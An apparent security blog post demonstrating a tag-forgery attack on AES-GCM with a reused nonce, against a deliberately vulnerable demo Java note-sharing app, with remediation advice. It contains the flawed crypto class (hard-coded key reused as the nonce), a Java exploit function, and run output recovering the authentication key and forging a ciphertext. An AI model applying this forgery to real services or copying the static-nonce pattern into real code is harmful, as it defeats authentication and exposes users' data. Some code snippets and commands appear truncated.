Attacks on GCM with Repeated Nonces

PoC or it didn't happen


Cryptography is a cornerstone of information security, with implementations running in various places to secure our Internet communications. Quite often web applications also need to use cryptography directly to protect sensitive features or data. Unfortunately quite often also usage errors are made, which can have disastrous security consequences.

This post focuses on AES-GCM and the security impact of using the same IV (nonce) to encrypt data to the users of a web application, based on an issue we identified and exploited on a recent white-box assessment.

The authentication assurance in GCM crucially depends on using a unique nonce for every encryption performed with the same key. The importance of this requirement is thoroughly documented in the specification.

Failure to comply makes the application vulnerable to forgery attacks whereby an adversary can forge any ciphertext with a valid signature. The purpose of this blog post is to demonstrate this attack in practice with an actual exploit.

Playing at home

I wrote a simple webapp in Java to showcase the attack. It will run in Docker with ./ docker.

Users can save personal notes via the POST /note endpoint and retrieve them via the GET /note/:id endpoint. No authentication is required, sort of like a basic pastebin.

$ curl -d 'root pw is Bl@ckToW3r'
{"href":"/note/a4a03583db964d0bb820e9f1b19ace801109870262540849fead69892104c4f4371dc94c535b4ba2","text":"root pw is Bl@ckToW3r"}
$ curl
{"href":"/note/a4a03583db964d0bb820e9f1b19ace801109870262540849fead69892104c4f4371dc94c535b4ba2","text":"root pw is Bl@ckToW3r"}

Instead of generating a random UUID back to the user, the app encrypts the sequential note ID with AES-GCM.

public Note saveNote(String text) {
    if (counter >= Integer.MAX_VALUE) {
        throw new RuntimeException("db is full");
    counter += 1;

    String note_id = format("IDv1-%010d-Internal", counter); // Integer.MAX_VALUE is 10 digits long
    String href = "/note/" + crypto.encrypt(note_id);

Without authenticated encryption, an adversary could easily access everyone else’s notes by trying different IDs.

After saving a couple of notes, the signature part quickly stands out as being the last 16 bytes (aka the authentication tag), while almost all of the encrypted part remains the same except one byte that changes each time.

IDs diff colored

If we try to query a different ID by altering one byte in the last ciphertext (from 0xc5 to 0xc6 for example), the appplication safely rejects it because the signature does not match.

$ curl
{"message":"javax.crypto.AEADBadTagException: Tag mismatch!"}

Even though the encrypted data seems to follow some kind of sequence, the authentication mechanim in GCM effectively defeats enumeration attacks.

The vuln

The vulnerability can be spotted in the com.example.sparkdemo.Crypto class which encrypts and decrypts the note IDs. The nonce is set to the 16-byte AES key, which remains static throughout execution. However in other real-world cases, we might find the nonce fixed to some arbitrary value.

public class Crypto {

    private Key key;
    private GCMParameterSpec gcmParameterSpec;

    public Crypto() {
        byte[] keyBytes = "YELLOW_SUBMARINE".getBytes();
        key = new SecretKeySpec(keyBytes, "AES");
        gcmParameterSpec = new GCMParameterSpec(128, keyBytes);

    private synchronized byte[] transform(byte[] data, int mode) {
        try {
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            cipher.init(mode, key, gcmParameterSpec);
            return cipher.doFinal(data);
        } catch (GeneralSecurityException ex) {
            throw new RuntimeException(ex);

    public String encrypt(String data) {
        return DatatypeConverter.printHexBinary(transform(data.getBytes(), Cipher.ENCRYPT_MODE)).toLowerCase();

The GCMParameterSpec parameter specifies the size of the authentication tag (128 bits is the spec’s recommended size), and a nonce value, which should be different for each encryption call. So for instance if an application starts with a nonce of 0x0000..00, the next call to encrypt() should use 0x0000..01 etc.

GCM 101

A plaintext encrypted with GCM produces a ciphertext that is the concatenation of the encrypted plaintext and the authentication tag. The plaintext is encrypted with the CTR mode of operation, while the tag is computed with the Galois hash function.

Therefore encrypting 3 bytes of plaintext such as “abc” will produce 3 bytes of encrypted text with a 16-byte tag.

  |    616263    |
  | Iv  = "\x00"*12            |*
  |---------+   +--------------|
  |   CTR   |   |     GHASH    |
       |                |
       v                v
  | e7660e || 48097e709e410bebbce1bf4e9ab13405 |

For a more detailed overview of GCM I found this short educational video to be quite good.

The impact

Using a static nonce is a well known security pitfall for any stream cipher. This includes RC4 or any block cipher such as AES run in CTR mode.

  1. First of all, XORing two different ciphertexts will reveal the XOR of the corresponding plaintexts, exposing the static and dynamic bits.

  2. An adversary could also recover the plaintexts through statistical analysis (e.g. using English character frequency, ngrams etc.) provided that enough ciphertexts of diverse plaintexts can be obtained. This is actually an exercise featured in the Cryptopals challenge series, and a Python implementation of this attack is on my github.

  3. Lastly, collecting two different messages encrypted with the same nonce allows an adversary to immediately recover the secret authentication key. This attack is also featured in Cryptopals in challenge #63.

The authentication key, which is derived from the AES key, is used in the computation of the authentication tag. Although its compromise will not leak the cipher key, it allows an adversary to conduct ciphertext forgery attacks.

The maths

The attack was first described by Antoine Joux, courtesy of the French Government Defense agency, and his paper is a must read bien sûr.

But raw maths can be off-putting and a gentler way in for a non-mathematician like me was the Cryptopals challenge’s description/walk-through. The key points are easy to understand and the abstract algebra is more accessible to grasp.

Note that the descriptions for Cryptopals Set 8 are not hosted on because these were written after @tqbf and @spdevlin had both left NCC which own the domain.

Public solutions for this last batch of challenges are scarce because they are “really tough”! But a Java implementation can be found on github which is well documented and gives valuable insight on the various code blocks required to assemble a working exploit.

This wonderful gift from the gods works fine and will recover the authentication key, however it will only let us forge the associated data (AD), not the ciphertext part. Since this capability is required to pwn our vulnerable demo, and likely to be handy in real-world situations, the original code needed some adjustments.

The exploit

The forgeCipherText() function was updated to let us forge a chosen ciphertext instead of associated data. The legit ciphertext and the recovered authentication key both come in the computation of the forged tag.

public static String forgeCipherText(byte[] legitCipherText, byte[] chosenCipherText,
        PolynomialGaloisFieldOverGF2.FieldElement authenticationKey)
    byte[] legitCtxt = Arrays.copyOfRange(legitCipherText, 0, legitCipherText.length - BLOCK_SIZE);
    byte[] legitTag = Arrays.copyOfRange(legitCipherText, legitCipherText.length - BLOCK_SIZE, legitCipherText.length);

    // We start with the original legit tag...
    PolynomialGaloisFieldOverGF2.FieldElement forgedTag = toFE(legitTag);
    int numBlocks = legitCtxt.length / BLOCK_SIZE + 1;

    for (int i = 0, power = numBlocks + 1; i < numBlocks; i++, power--) {
         // subtract the c blocks (c0, c1 ...)
        forgedTag = forgedTag.subtract(
                toFE( Arrays.copyOfRange(legitCtxt, i * BLOCK_SIZE, (i + 1) * BLOCK_SIZE) )
                    .multiply(authenticationKey.scale(valueOf(power))) );

        // add the c' blocks (c'0, c'1 ...)
        forgedTag = forgedTag.add(
                toFE( Arrays.copyOfRange(chosenCipherText, i * BLOCK_SIZE, (i + 1) * BLOCK_SIZE) )
                    .multiply(authenticationKey.scale(valueOf(power))) );

    return DatatypeConverter.printHexBinary(chosenCipherText) + DatatypeConverter.printHexBinary(forgedTag.asArray());

A new com.cryptopals.Exploit helper class was created to be the main() entry point of our exploit program. The revoverKeys() and forgeTag() functions are then called from main() based on how many arguments are passed on the command line.

The script simply runs maven to compile and execute Exploit.main().

Demo time

First we run the exploit with two captured ciphertexts in an attempt to recover the authentication key.

$ ./ a4a03583db964d0bb820e9f1b19ace801109870262540849fead69892104c4f4371dc94c535b4ba2 a4a03583db964d0bb820e9f1b19acf801109870262540849058231608a98a7c64f9f854408a3ac67
[+] Pretty printing
cTxt1: A4A03583DB964D0BB820E9F1B19ACE80 11098702625408490000000000000000 FEAD69892104C4F4371DC94C535B4BA2
cTxt2: A4A03583DB964D0BB820E9F1B19ACF80 11098702625408490000000000000000 058231608A98A7C64F9F854408A3AC67
XORed: 00000000000000000000000000000100 00000000000000000000000000000000 FB2F58E9AB9C633278824C085BF8E7C5
[+] Recovering candidate authentication keys
cTxt1 polynomial: 173598d8f97041dd0b269dbc1ac0525x^3 + 92102a4640e19088x^2 + 3000000000000000000000000000000x + 45d2daca3293b8ec2f2320849196b57f
cTxt2 polynomial: 1f3598d8f97041dd0b269dbc1ac0525x^3 + 92102a4640e19088x^2 + 3000000000000000000000000000000x + e635c51022a1f9f263e51951068c41a0
Equation: x^3 + 5cb240ed457de713c5a8540e081b5368
Candidates found after square-free and distinct-degree factorization: []
Additional candidates found after equal-degree factorization: [x + 36ffd253b63bc6b18c6f0300f3f0b98e, x + 49b479b3c110ede2828eb95659d6ef6e, x + 7f4babe0772b2b530ee1ba56aa2656e0]
-> Recovered candidates: 36ffd253b63bc6b18c6f0300f3f0b98e, 49b479b3c110ede2828eb95659d6ef6e, 7f4babe0772b2b530ee1ba56aa2656e0

The ciphertexts are split into 16-byte blocks then XORed together to highlight their differences. Then their respective polynomial representations are calculated and XORed together to produce an equation with the authentication key as a root. Finally the key is recovered through three factorization algorithms.

The factorizations may produce more than one candidate for the authentication key, in which case we can either:

  • factorize more messages until we can isolate one common candidate
  • or simply forge our chosen ciphertext with each candidate and find out which works

Since we noticed that one byte was changing from 0xce to 0xcf in our first two ciphertexts, let’s choose 0xcd for our forged ciphertext. We run the exploit again with our desired ciphertext as the third argument.

$ ./ a4a03583db964d0bb820e9f1b19ace801109870262540849fead69892104c4f4371dc94c535b4ba2 \
               a4a03583db964d0bb820e9f1b19acf801109870262540849058231608a98a7c64f9f854408a3ac67 \
[+] Forging ciphertext A4A03583DB964D0BB820E9F1B19ACd801109870262540849
-> Using authentication key: 36ffd253b63bc6b18c6f0300f3f0b98e
Legit  cipher text: a4a03583db964d0bb820e9f1b19ace801109870262540849fead69892104c4f4371dc94c535b4ba2 = A4A03583DB964D0BB820E9F1B19ACE80 11098702625408490000000000000000 FEAD69892104C4F4371DC94C535B4BA2
Forged cipher text: A4A03583DB964D0BB820E9F1B19ACD80110987026254084931DC80B3DDA061A2BE9B1D54BF5263EC = A4A03583DB964D0BB820E9F1B19ACD80 11098702625408490000000000000000 31DC80B3DDA061A2BE9B1D54BF5263EC
-> Using authentication key: 49b479b3c110ede2828eb95659d6ef6e
Forged tag is identical, skipping duplicate
-> Using authentication key: 7f4babe0772b2b530ee1ba56aa2656e0
Forged tag is identical, skipping duplicate

All three key candidates produced the same tag. Let’s find out whether the app accepts it as valid.

$ curl

Success - we retrieved someone else’s note!


Preferably the app would send random UUIDs to the users and maintain a lookup table to the corresponding legacy note IDs. But the stateless aspect of authenticated encryption is just too convenient to pass on.

However unless unique nonces can be guaranteed, AES-GCM should be traded out. One option would be to switch to a nonce misuse resistant mode such as AES-GCM-SIV, but the handful of implementations available may still need some maturing.

Otherwise AES-CBC with HMAC-SHA would be a solid contender, as long as the associated security requirements are properly implemented. Examples of which include using:

  • the Encrypt-then-MAC method
  • distinct keys (for encryption and the keyed hash)
  • constant time comparison of the MAC
  • never set IV=KEY or the encryption key can be leaked

Although CBC-SHA was superseded by GCM in TLS for performance reasons, the speed difference may be negligible in our webapp considering the messages are only a couple of blocks long.

Final thoughts

One take away would be that although having the source code gives an advantage, it is not essential to identify and exploit a nonce reuse issue in a black-box setup.

Also worth mentioning that there are other interesting places where GCM is implemented, including SSH, TLS and IPsec. And there are other compelling attacks on GCM and its modern real-world crypto cousins. Surveying popular implementations may open to fun research projects.

Finally I highly recommend working through the Cryptopals series to learn about real-world crypto and the most common mistakes to look for during engagements (and CTFs :)

Merci for reading!